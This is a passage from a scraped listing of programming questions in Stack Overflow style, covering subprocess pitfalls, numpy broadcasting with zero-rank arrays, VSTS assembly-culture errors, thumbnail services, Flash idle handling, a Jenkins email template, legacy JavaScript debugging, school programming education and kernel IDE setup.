be lucky if you get any output at all. You end up having to do a lot more detective work everytime something goes wrong. Speaking of which, output has a way of disappearing when dealing external processes. Like if you run something via the windows 'cmd' command, the console will pop up, execute the code, and then disappear before you have a chance to see the output. You have to pass the /k flag to make it stick around. Similar issues seem to crop up all the time. I suppose both problems 3 and 4 have the same root cause: no exception handling. Exception handling is meant to be used with functions, it doesn't work with processes. Maybe there's some way to get something like exception handling for processes? I guess that's what stderr is for? But dealing with two different streams can be annoying in itself. Maybe I should look into this more... Processes can hang and stick around in the background without you realizing it. So you end up yelling at your computer cuz it's going so slow until you finally bring up your task manager and see 30 instances of the same process hanging out in the background. Also, hanging background processes can interefere with other instances of the process in various fun ways, such as causing permissions errors by holding a handle to a file or someting like that. It seems like an easy solution to this would be to have the parent process kill the child process on exit if the child process didn't close itself. But if the parent process crashes, cleanup code might not get called and the child can be left hanging. Also, if the parent waits for the child to complete, and the child is in an infinite loop or something, you can end up with two hanging processes. This problem can tie in to problem 2 for extra fun, causing your gui to stop responding entirely and force you to kill everything with the task manager. F***ing quotes Parameters often need to be passed to processes. This is a headache in itself. Especially if you're dealing with file paths. Say... 'C:/My Documents/whatever/'. If you don't have quotes, the string will often be split at the space and interpreted as two arguments. If you need nested quotes you can use ' and ". But if you need to use more than two layers of quotes, you have to do some nasty escaping, for example: "cmd /k 'python \'path 1\' \'path 2\''". A good solution to this problem is passing parameters as a list rather than as a single string. Subprocess allows you to do this. Can't easily return data from a subprocess. You can use stdout of course. But what if you want to throw a print in there for debugging purposes? That's gonna screw up the parent if it's expecting output formatted a certain way. In functions you can print one string and return another and everything works just fine. Obscure command-line flags and a crappy terminal based help system. These are problems I often run into when using os level apps. Like the /k flag I mentioned, for holding a cmd window open, who's idea was that? Unix apps don't tend to be much friendlier in this regard. Hopefully you can use google or StackOverflow to find the answer you need. But if not, you've got a lot of boring reading and frusterating trial and error to do. External factors. This one's kind of fuzzy. But when you leave the relatively sheltered harbor of your own scripts to deal with external processes you find yourself having to deal with the "outside world" to a much greater extent. And that's a scary place. All sorts of things can go wrong. Just to give a random example: the cwd in which a process is run can modify it's behavior. There are probably other issues, but those are the ones I've written down so far. Any other snags you'd like to add? Any suggestions for dealing with these problems?

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• Numpy zero rank array indexing/broadcasting

  - by Lemming

  I'm trying to write a function that supports broadcasting and is fast at the same time. However, numpy's zero-rank arrays are causing trouble as usual. I couldn't find anything useful on google, or by searching here. So, I'm asking you. How should I implement broadcasting efficiently and handle zero-rank arrays at the same time? This whole post became larger than anticipated, sorry. Details: To clarify what I'm talking about I'll give a simple example: Say I want to implement a Heaviside step-function. I.e. a function that acts on the real axis, which is 0 on the negative side, 1 on the positive side, and from case to case either 0, 0.5, or 1 at the point 0. Implementation Masking The most efficient way I found so far is the following. It uses boolean arrays as masks to assign the correct values to the corresponding slots in the output vector. from numpy import * def step_mask(x, limit=+1): """Heaviside step-function. y = 0 if x < 0 y = 1 if x > 0 See below for x == 0. Arguments: x Evaluate the function at these points. limit Which limit at x == 0? limit > 0: y = 1 limit == 0: y = 0.5 limit < 0: y = 0 Return: The values corresponding to x. """ b = broadcast(x, limit) out = zeros(b.shape) out[x>0] = 1 mask = (limit > 0) & (x == 0) out[mask] = 1 mask = (limit == 0) & (x == 0) out[mask] = 0.5 mask = (limit < 0) & (x == 0) out[mask] = 0 return out List Comprehension The following-the-numpy-docs way is to use a list comprehension on the flat iterator of the broadcast object. However, list comprehensions become absolutely unreadable for such complicated functions. def step_comprehension(x, limit=+1): b = broadcast(x, limit) out = empty(b.shape) out.flat = [ ( 1 if x_ > 0 else ( 0 if x_ < 0 else ( 1 if l_ > 0 else ( 0.5 if l_ ==0 else ( 0 ))))) for x_, l_ in b ] return out For Loop And finally, the most naive way is a for loop. It's probably the most readable option. However, Python for-loops are anything but fast. And hence, a really bad idea in numerics. def step_for(x, limit=+1): b = broadcast(x, limit) out = empty(b.shape) for i, (x_, l_) in enumerate(b): if x_ > 0: out[i] = 1 elif x_ < 0: out[i] = 0 elif l_ > 0: out[i] = 1 elif l_ < 0: out[i] = 0 else: out[i] = 0.5 return out Test First of all a brief test to see if the output is correct. >>> x = array([-1, -0.1, 0, 0.1, 1]) >>> step_mask(x, +1) array([ 0., 0., 1., 1., 1.]) >>> step_mask(x, 0) array([ 0. , 0. , 0.5, 1. , 1. ]) >>> step_mask(x, -1) array([ 0., 0., 0., 1., 1.]) It is correct, and the other two functions give the same output. Performance How about efficiency? These are the timings: In [45]: xl = linspace(-2, 2, 500001) In [46]: %timeit step_mask(xl) 10 loops, best of 3: 19.5 ms per loop In [47]: %timeit step_comprehension(xl) 1 loops, best of 3: 1.17 s per loop In [48]: %timeit step_for(xl) 1 loops, best of 3: 1.15 s per loop The masked version performs best as expected. However, I'm surprised that the comprehension is on the same level as the for loop. Zero Rank Arrays But, 0-rank arrays pose a problem. Sometimes you want to use a function scalar input. And preferably not have to worry about wrapping all scalars in at least 1-D arrays. >>> step_mask(1) Traceback (most recent call last): File "<ipython-input-50-91c06aa4487b>", line 1, in <module> step_mask(1) File "script.py", line 22, in step_mask out[x>0] = 1 IndexError: 0-d arrays can't be indexed. >>> step_for(1) Traceback (most recent call last): File "<ipython-input-51-4e0de4fcb197>", line 1, in <module> step_for(1) File "script.py", line 55, in step_for out[i] = 1 IndexError: 0-d arrays can't be indexed. >>> step_comprehension(1) array(1.0) Only the list comprehension can handle 0-rank arrays. The other two versions would need special case handling for 0-rank arrays. Numpy gets a bit messy when you want to use the same code for arrays and scalars. However, I really like to have functions that work on as arbitrary input as possible. Who knows which parameters I'll want to iterate over at some point. Question: What is the best way to implement a function as the one above? Is there a way to avoid if scalar then like special cases? I'm not looking for a built-in Heaviside. It's just a simplified example. In my code the above pattern appears in many places to make parameter iteration as simple as possible without littering the client code with for loops or comprehensions. Furthermore, I'm aware of Cython, or weave & Co., or implementation directly in C. However, the performance of the masked version above is sufficient for the moment. And for the moment I would like to keep things as simple as possible.

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• VSTS test deployment and invalid assembly culture

  - by Merlyn Morgan-Graham

  I have a DLL that I'm testing, which links to a DLL that has what I think is an invalid value for AssemblyCulture. The value is "Neutral" (notice the upper-case "N"), whereas the DLL I'm testing, and every other DLL in my project, has a value of "neutral" (because they specify AssemblyCulture("")). When I try to deploy the DLL that links to the problem DLL, I get this error in VSTS: Failed to queue test run '...': Culture is not supported. Parameter name: name Neutral is an invalid culture identifier. <Exception>System.Globalization.CultureNotFoundException: Culture is not supported. Parameter name: name Neutral is an invalid culture identifier. at System.Globalization.CultureInfo..ctor(String name, Boolean useUserOverride) at System.Globalization.CultureInfo..ctor(String name) at System.Reflection.RuntimeAssembly.GetReferencedAssemblies(RuntimeAssembly assembly) at System.Reflection.RuntimeAssembly.GetReferencedAssemblies() at Microsoft.VisualStudio.TestTools.Utility.AssemblyLoadWorker.ProcessChildren(Assembly assembly) at Microsoft.VisualStudio.TestTools.Utility.AssemblyLoadWorker.GetDependentAssemblies(String path) at Microsoft.VisualStudio.TestTools.Utility.AssemblyLoadWorker.GetDependentAssemblies(String path) at Microsoft.VisualStudio.TestTools.Utility.AssemblyLoadStrategy.GetDependentAssemblies(String path) at Microsoft.VisualStudio.TestTools.Utility.AssemblyHelper.GetDependentAssemblies(String path, DependentAssemblyOptions options, String configFile) at Microsoft.VisualStudio.TestTools.TestManagement.DeploymentManager.GetDependencies(String master, String configFile, TestRunConfiguration runConfig, DeploymentItemOrigin dependencyOrigin, List`1 dependencyDeploymentItems, Dictionary`2 missingDependentAssemblies) at Microsoft.VisualStudio.TestTools.TestManagement.DeploymentManager.DoDeployment(TestRun run, FileCopyService fileCopyService) at Microsoft.VisualStudio.TestTools.TestManagement.ControllerProxy.SetupTestRun(TestRun run, Boolean isNewTestRun, FileCopyService fileCopyService, DeploymentManager deploymentManager) at Microsoft.VisualStudio.TestTools.TestManagement.ControllerProxy.SetupRunAndListener(TestRun run, FileCopyService fileCopyService, DeploymentManager deploymentManager) at Microsoft.VisualStudio.TestTools.TestManagement.ControllerProxy.QueueTestRunWorker(Object state)</Exception> Even if I don't link to the DLL (in my VSTS wrapper test, or in the NUnit test), as soon as I add it in my GenericTest file (I'm wrapping NUnit tests), I get that exception. We don't have the source for the problem DLL, and it is also code signed, so I can't solve this by recompiling. Is there a way to skip deploying the dependencies of a DLL DeploymentItem, to fix or disable the culture check, or to work around this by convoluted means (maybe somehow embed the assembly)? Is there a way to override the value for the culture, short of hacking the DLL (and removing code signing so the hack works)? Maybe with an external manifest? Any correct solution must work without weird changes to production code. We can't deploy a hacked DLL, for example. It also must allow the DLL to be instrumented for code coverage. Additional note: I do get a linker warning when compiling the DLL under test that links to the problem DLL, but this hasn't broken anything but VSTS, and multiple versions have shipped.

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• Which third party website thumbnailing services do you use?

  - by Ben Delarre

  I've got a requirement for showing thumbnails of arbitrary websites. I need to be able to show small thumbnails (120px by 90px), and larger thumbnails of around 480px wide. I'll need to specify the queue and invalid placeholder images and preferably have a pingback when the queued images are processed so I can respond appropriately. I'd also need a simple API I can use either directly embedded in my HTML, or from a simple web request to queue the images. I've been looking at various services ranging from low-fi services, to large scale ones - here's some examples: www.bitpixels.com Uses Google AppEngine, seems like a prototype or a toy. Free! www.websnapr.com Tried using this, made a free account and requested a thumbnail. Waited a few minutes and refreshed a couple of times, and ended up having the account banned. Free is tricky yes, but if I can't try it out successfully I'm disinclined to pay. www.shrinktheweb.com Free account seems to be very quick. Lots of documentation on the site, and even covers local caching of the images to your own server (documentation mostly in PHP). Quality of thumbnails look good, and there appear to be sufficient options for setting thumbnail placeholder images and parameters for altering how the thumbnailing is done. Also supports large 'screenshots' of URLs - very useful for me. Discovered the PRO pricing is an à la carte menu, allowing me to select just the features I want and keep the monthly cost low. Excellent stuff, have decided to use this service. www.thumbalizr.com Good coverage of thumbnail sizes and control options - even allowing specification for browser width when thumbnailing. No ping-back, but I can live without that. Supports local caching of images with PHP API, would prefer .NET, but can port it if necessary. Looks like a fairly professional service but seems fairly expensive for the number of thumbnails you get to generate. apologies for lack of proper linking - spam protection! I'm not entirely convinced by any of them, and since this will be a long term service I'd like some stability and support. I'm willing to pay for the service, but I'd want something that fulfills most if not all of my requirements for that. I should also mention that we're hosted on Windows under IIS, so local solutions involving Xvfb and the like sadly can't be used for this project. So my question is: what services do you use? How have they panned out, are you happy with them?

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• How to make Flash 'play well with others'?

  - by Sensei James

  What up fam. So this isn't a question asking about memory management schemes; for those of you who may not know, the Flash Virtual Machine relies on garbage collection by using reference counting and mark and sweep (for good coverage of these topics, check out Grant Skinner's article and presentation). And yes, Flash also provides the "delete" operator, which can (unfortunately only) be used to remove the properties of dynamic objects. What I want to know is how to make it so that Flash programs don't continue to consume CPU and memory while running in the background (save loading content or communicating remotely, for example). The motivation for this question comes in part from Apple's ban on cross compiled applications (in its SDK 4) on the grounds that they do not behave as predicted with the multitasking feature central to iPhone OS 4. My intention is not only to make Flash programs that will 'pass muster' as far as multitasking in iPhone OS 4, but also to simply make better (behaving) Flash programs. Put another way, how might a Flash application mimic the multitasking feature of iPhone OS 4? Does the Flash API provide the means for a developer to put their applications to 'sleep' while other programs run, and then to 'awaken' them just as quickly? In our own program, we might do something as crude as detecting when the user has been idle (no mouse motion or key press) for (say) four seconds: var idle_id:uint = setInterval(4000, pause_program); var current_movie_clip:MovieClip; var current_frame:uint; ... // on Mouse move or key press... clearInterval(idle_id); idle_id = setInterval(4000, pause_program); ... function pause_program():void { current_movie_clip = event.target as MovieClip; current_frame = current_movie_clip.currentFrame; MovieClip(root).gotoAndStop("program_pause_screen"); } (on the program pause screen) resume_button.addEventListener(MouseEvent.CLICK, resume_program); function resume_program(event:MouseEvent) { current_movie_clip.gotoAndPlay(current_frame); } If that's the right idea, what's the best way to detect that an application should be shelved? And, more importantly, is it possible for Flash Player to detect that some of its running programs are idle, and to similarly shelve them until the user performs an action to resume them? (Please feel free to answer as much or as little of the many questions I've posed.)

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• How to display subversion URL for the Project with jenkins email-ext plugin?

  - by kamal

  Here is the jelly script i am using: <j:jelly xmlns:j="jelly:core" xmlns:st="jelly:stapler" xmlns:d="jelly:define"> <STYLE>BODY, TABLE, TD, TH, P { font-family:Verdana,Helvetica,sans serif; font-size:11px; color:black; } h1 { color:black; } h2 { color:black; } h3 { color:black; } TD.bg1 { color:white; background-color:#0000C0; font-size:120% } TD.bg2 { color:white; background-color:#4040FF; font-size:110% } TD.bg3 { color:white; background-color:#8080FF; } TD.test_passed { color:blue; } TD.test_failed { color:red ; } TD.console { font-family:Courier New; }</STYLE> <BODY> <j:set var="spc" value="&amp;nbsp;&amp;nbsp;" /> <!-- GENERAL INFO --> <TABLE> <TR> <TD align="right"> <j:choose> <j:when test="${build.result=='SUCCESS'}"> <IMG SRC="${rooturl}static/e59dfe28/images/32x32/blue.gif" /> </j:when> <j:when test="${build.result=='FAILURE'}"> <IMG SRC="${rooturl}static/e59dfe28/images/32x32/red.gif" /> </j:when> <j:otherwise> <IMG SRC="${rooturl}static/e59dfe28/images/32x32/yellow.gif" /> </j:otherwise> </j:choose> </TD> <TD valign="center"> <B style="font-size: 200%;">BUILD ${build.result}</B> </TD> </TR> <TR> <TD>Build URL</TD> <TD> <A href="${rooturl}${build.url}">${rooturl}${build.url}</A> </TD> </TR> <TR> <TD>Project:</TD> <TD>${project.name}</TD> </TR> <TR> <TD>Date of build:</TD> <TD>${it.timestampString}</TD> </TR> <TR> <TD>Build duration:</TD> <TD>${build.durationString}</TD> </TR> <TR> <!-- BRANCH --> <TD>Subversion Repo:</TD> <TD>${build.scm}</TD> </TR> <tr> <td>Build Cause:</td> <td> <j:forEach var="cause" items="${build.causes}">${cause.shortDescription} </j:forEach> </td> </tr> </TABLE> <BR /> <!-- CHANGE SET --> <j:set var="changeSet" value="${build.changeSet}" /> <j:if test="${changeSet!=null}"> <j:set var="hadChanges" value="false" /> <TABLE width="100%"> <TR> <TD class="bg1" colspan="2"> <B>CHANGES</B> </TD> </TR> <j:forEach var="cs" items="${changeSet}" varStatus="loop"> <j:set var="hadChanges" value="true" /> <j:set var="aUser" value="${cs.hudsonUser}" /> <TR> <TD colspan="2" class="bg2">${spc}Revision <B>${cs.commitId?:cs.revision?:cs.changeNumber}</B>by <B>${aUser!=null?aUser.displayName:cs.author.displayName}:</B> <B>(${cs.msgAnnotated})</B></TD> </TR> <j:forEach var="p" items="${cs.affectedFiles}"> <TR> <TD width="10%">${spc}${p.editType.name}</TD> <TD>${p.path}</TD> </TR> </j:forEach> </j:forEach> <j:if test="${!hadChanges}"> <TR> <TD colspan="2">No Changes</TD> </TR> </j:if> </TABLE> <BR /> </j:if> <!-- ARTIFACTS --> <j:set var="artifacts" value="${build.artifacts}" /> <j:if test="${artifacts!=null and artifacts.size()&gt;0}"> <TABLE width="100%"> <TR> <TD class="bg1"> <B>BUILD ATRIFACTS</B> </TD> </TR> <TR> <TD> <j:forEach var="f" items="${artifacts}"> <li> <a href="${rooturl}${build.url}artifact/${f}">${f}</a> </li> </j:forEach> </TD> </TR> </TABLE> <BR /> </j:if> <!-- MAVEN ARTIFACTS --> <j:set var="mbuilds" value="${build.moduleBuilds}" /> <j:if test="${mbuilds!=null}"> <TABLE width="100%"> <TR> <TD class="bg1"> <B>BUILD ATRIFACTS</B> </TD> </TR> <j:forEach var="m" items="${mbuilds}"> <TR> <TD class="bg2"> <B>${m.key.displayName}</B> </TD> </TR> <j:forEach var="mvnbld" items="${m.value}"> <j:set var="artifacts" value="${mvnbld.artifacts}" /> <j:if test="${artifacts!=null and artifacts.size()&gt;0}"> <TR> <TD> <j:forEach var="f" items="${artifacts}"> <li> <a href="${rooturl}${mvnbld.url}artifact/${f}">${f}</a> </li> </j:forEach> </TD> </TR> </j:if> </j:forEach> </j:forEach> </TABLE> <BR /> </j:if> <!-- JUnit TEMPLATE --> <j:set var="junitResultList" value="${it.JUnitTestResult}" /> <j:if test="${junitResultList.isEmpty()!=true}"> <TABLE width="100%"> <TR> <TD class="bg1" colspan="2"> <B>${project.name} Functional Tests</B> </TD> </TR> <j:forEach var="junitResult" items="${it.JUnitTestResult}"> <j:forEach var="packageResult" items="${junitResult.getChildren()}"> <TR> <TD class="bg2" colspan="2">Name: ${packageResult.getName()} Failed: ${packageResult.getFailCount()} test(s), Passed: ${packageResult.getP assCount()} test(s), Skipped: ${packageResult.getSkipCount()} test(s), Total: ${packageResult.getPassCount()+packageResult.getFailCount()+packageResult.getSkipCount()} test(s)</TD> </TR> <j:forEach var="failed_test" items="${packageResult.getFailedTests()}"> <TR bgcolor="white"> <TD class="test_failed" colspan="2"> <B> <li>Failed: ${failed_test.getFullName()} <br /> <pre> ${failed_test.errorDetails} </pre></li> </B> </TD> </TR> <TR bgcolor="white"> <TD class="test_failed" colspan="2"> <B> <li>StackTrace: ${failed_test.getFullName()} <br /> <pre> ${failed_test.errorStackTrace} </pre></li> </B> </TD> </TR> </j:forEach> </j:forEach> </j:forEach> </TABLE> <BR /> </j:if> <!-- COBERTURA TEMPLATE --> <j:set var="coberturaAction" value="${it.coberturaAction}" /> <j:if test="${coberturaAction!=null}"> <j:set var="coberturaResult" value="${coberturaAction.result}" /> <j:if test="${coberturaResult!=null}"> <table width="100%"> <TD class="bg1" colspan="2"> <B>Cobertura Report</B> </TD> </table> <table width="100%"> <TD class="bg2" colspan="2"> <B>Project Coverage Summary</B> </TD> </table> <table border="1px" class="pane"> <tr> <td>Name</td> <j:forEach var="metric" items="${coberturaResult.metrics}"> <td>${metric.name}</td> </j:forEach> </tr> <tr> <td>${coberturaResult.name}</td> <j:forEach var="metric" items="${coberturaResult.metrics}"> <td data="${coberturaResult.getCoverage(metric).percentageFloat}">${coberturaResult.getCoverage(metric).percentage}% (${coberturaResult.ge tCoverage(metric)})</td> </j:forEach> </tr> </table> <j:if test="${coberturaResult.sourceCodeLevel}"> <h2>Source</h2> <j:choose> <j:when test="${coberturaResult.sourceFileAvailable}"> <div style="overflow-x:scroll;"> <table class="source"> <thead> <tr> <th colspan="3">${coberturaResult.relativeSourcePath}</th> </tr> </thead>${coberturaResult.sourceFileContent}</table> </div> </j:when> <j:otherwise> <p> <i>Source code is unavailable</i> </p> </j:otherwise> </j:choose> </j:if> <j:forEach var="element" items="${coberturaResult.childElements}"> <j:set var="childMetrics" value="${coberturaResult.getChildMetrics(element)}" /> <table width="100%"> <TD class="bg2" colspan="2">Coverage Breakdown by ${element.displayName}</TD> </table> <table border="1px" class="pane sortable"> <tr> <td>Name</td> <j:forEach var="metric" items="${childMetrics}"> <td>${metric.name}</td> </j:forEach> </tr> <j:forEach var="c" items="${coberturaResult.children}"> <j:set var="child" value="${coberturaResult.getChild(c)}" /> <tr> <td>${child.xmlTransform(child.name)}</td> <j:forEach var="metric" items="${childMetrics}"> <j:set var="childResult" value="${child.getCoverage(metric)}" /> <j:choose> <j:when test="${childResult!=null}"> <td data="${childResult.percentageFloat}">${childResult.percentage}% (${childResult})</td> </j:when> <j:otherwise> <td data="101">N/A</td> </j:otherwise> </j:choose> </j:forEach> </tr> </j:forEach> </table> </j:forEach> </j:if> <BR /> </j:if> <!-- HEALTH TEMPLATE --> <div class="content"> <j:set var="healthIconSize" value="16x16" /> <j:set var="healthReports" value="${project.buildHealthReports}" /> <j:if test="${healthReports!=null}"> <h1>Health Report</h1> <table> <tr> <th>W</th> <th>Description</th> <th>Score</th> </tr> <j:forEach var="healthReport" items="${healthReports}"> <tr> <td> <img src="${rooturl}${healthReport.getIconUrl(healthIconSize)}" /> </td> <td>${healthReport.description}</td> <td>${healthReport.score}</td> </tr> </j:forEach> </table> <br /> </j:if> </div> <!-- CONSOLE OUTPUT --> <j:getStatic var="resultFailure" field="FAILURE" className="hudson.model.Result" /> <j:if test="${build.result==resultFailure}"> <TABLE width="100%" cellpadding="0" cellspacing="0"> <TR> <TD class="bg1"> <B>CONSOLE OUTPUT</B> </TD> </TR> <j:forEach var="line" items="${build.getLog(100)}"> <TR> <TD class="console">${line}</TD> </TR> </j:forEach> </TABLE> <BR /> </j:if> </BODY> </j:jelly> <!-- BRANCH --> <TD>Subversion Repo:</TD> <TD>${build.scm}</TD> </TR> does not work, and i am not sure which argument to use with build object to get subversion url. outside jelly script, i can get the Subversion URL, using: Subversion URL: ${ENV, var="SVN_URL"}

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• Debugging site written mainly in JScript with AJAX code injection

  - by blumidoo

  Hello, I have a legacy code to maintain and while trying to understand the logic behind the code, I have run into lots of annoying issues. The application is written mainly in Java Script, with extensive usage of jQuery + different plugins, especially Accordion. It creates a wizard-like flow, where client code for the next step is downloaded in the background by injecting a result of a remote AJAX request. It also uses callbacks a lot and pretty complicated "by convention" programming style (lots of events handlers are created on the fly based on certain object names - e.g. current page name, current step name). Adding to that, the code is very messy and there is no obvious inner structure - the functions are scattered in the code, file names do not reflect the business role of the code, lots of functions and code snippets are most likely not used at all etc. PROBLEM: How to approach this code base, so that the inner flow of the code can be sort-of "reverse engineered" using a suite of smart debugging tools. Ideally, I would like to be able to attach to the running application and step through the code, breaking on each new function call. Also, it would be nice to be able to create a "diagram of calls" in the application (i.e. in order to run a particular page logic, this particular flow of function calls was executed in a particular order). Not to mention to be able to run a coverage analysis, identifying potentially orphaned code fragments. I would like to stress out once more, that it is impossible to understand the inner logic of the application just by looking at the code itself, unless you have LOTS of spare time and beer crates, which I unfortunately do not have :/ (shame...) An IDE of some sort that would aid in extending that code would be also great, but I am currently looking into possibility to use Visual Studio 2010 to do the job, as the site itself is a mix of Classic ASP and ASP.NET (I'd say - 70% Java Script with jQuery, 30% ASP). I have obviously tried FireBug, but I was unable to find a way to define a breakpoint or step into the code, which is "injected" into the client JS using AJAX calls (i.e. the application retrieves the code by invoking an URL and injects it to the client local code). Venkman debugger had similar issues. Any hints would be welcome. Feel free to ask additional questions.

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• How do we, as a community, help encourage programming in public schools? (Or state Schools for the U

  - by NoMoreZealots

  PRIMARY MOTIVATION My office gets involved with the "First Robotics" competitions and one thing that lingers year to year is the students typically have no preparation for doing even simple programming as part of the public schools system. While the science classes provide some basic grasp of mechanical and electrical concepts, by in large computer programming gets no coverage from the curriculum. (This my be different in other areas of the country/world.) What makes it worse is there is only a short period of time you have to prepare the student's and help them design the robot. Talking to some professors from local colleges, it's a problem because you can't assume even the most basic understanding for freshman CS majors. Languages like Python, Lua and BASIC are simple enough for at least high school level students, if not younger. SCOPE So how do you get public schools to support a programming, at least to the level of "Try it in BASIC" examples that used to be at the end of a chapter in my Algebra book? At least enough to prepare them for event's such as the FIRST Robotic competitions. Which the primary objectives are to teach problem solving and team work, and to possible foster an interest in Math, Science and Engineering in general. (Not force feed to them, as some people her seem to be implying.) Edit: Why teach kids: (Since 2000 CS enrollment in US colleges has decreased by 70% while college enrollment has increased, this is a PROBLEM.) Saying there is no value in teaching someone programming in Jr./High school because they might think "they know programming." Is like saying there's no value in teaching High school science and physics, because they might decide they "know physics." Leading to abuse like: "I passed a high school physics class, I'm going to develop a Unified Quantum Gravitational Theory." Better Prepared students are better students. Instead it would allows college programs to raise the bar on the entry level courses, allowing students to be weeded out based on their understanding of more advanced material. Plus people who did poorly in that in topic in High school aren't as likely to say "I think there's money in computer's so I'll computer science." Plus if people take it in high school and decide THEN that it's not for them, it's better than them wasting their money to PAY a college to figure that out. The result is that people who take the degree are more likely to succeed and be there for the RIGHT reasons. (i.e. It's what they REALLY want to do. And that's REALLY the key to being good at anything.) Programming is like anything else, the more practice and genuine interest you have the better you get. If you start them later, they get less practice. The earlier give them the opportunity to start, the more practice they will get. All other things equal, the more practice the better the programmer.

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• Setting up Netbeans/Eclipse for Linux Kernel Development

  - by red.october

  Hi: I'm doing some Linux kernel development, and I'm trying to use Netbeans. Despite declared support for Make-based C projects, I cannot create a fully functional Netbeans project. This is despite compiling having Netbeans analyze a kernel binary that was compiled with full debugging information. Problems include: files are wrongly excluded: Some files are incorrectly greyed out in the project, which means Netbeans does not believe they should be included in the project, when in fact they are compiled into the kernel. The main problem is that Netbeans will miss any definitions that exist in these files, such as data structures and functions, but also miss macro definitions. cannot find definitions: Pretty self-explanatory - often times, Netbeans cannot find the definition of something. This is partly a result of the above problem. can't find header files: self-explanatory I'm wondering if anyone has had success with setting up Netbeans for Linux kernel development, and if so, what settings they used. Ultimately, I'm looking for Netbeans to be able to either parse the Makefile (preferred) or extract the debug information from the binary (less desirable, since this can significantly slow down compilation), and automatically determine which files are actually compiled and which macros are actually defined. Then, based on this, I would like to be able to find the definitions of any data structure, variable, function, etc. and have complete auto-completion. Let me preface this question with some points: I'm not interested in solutions involving Vim/Emacs. I know some people like them, but I'm not one of them. As the title suggest, I would be also happy to know how to set-up Eclipse to do what I need While I would prefer perfect coverage, something that only misses one in a million definitions is obviously fine SO's useful "Related Questions" feature has informed me that the following question is related: http://stackoverflow.com/questions/149321/what-ide-would-be-good-for-linux-kernel-driver-development. Upon reading it, the question is more of a comparison between IDE's, whereas I'm looking for how to set-up a particular IDE. Even so, the user Wade Mealing seems to have some expertise in working with Eclipse on this kind of development, so I would certainly appreciate his (and of course all of your) answers. Cheers

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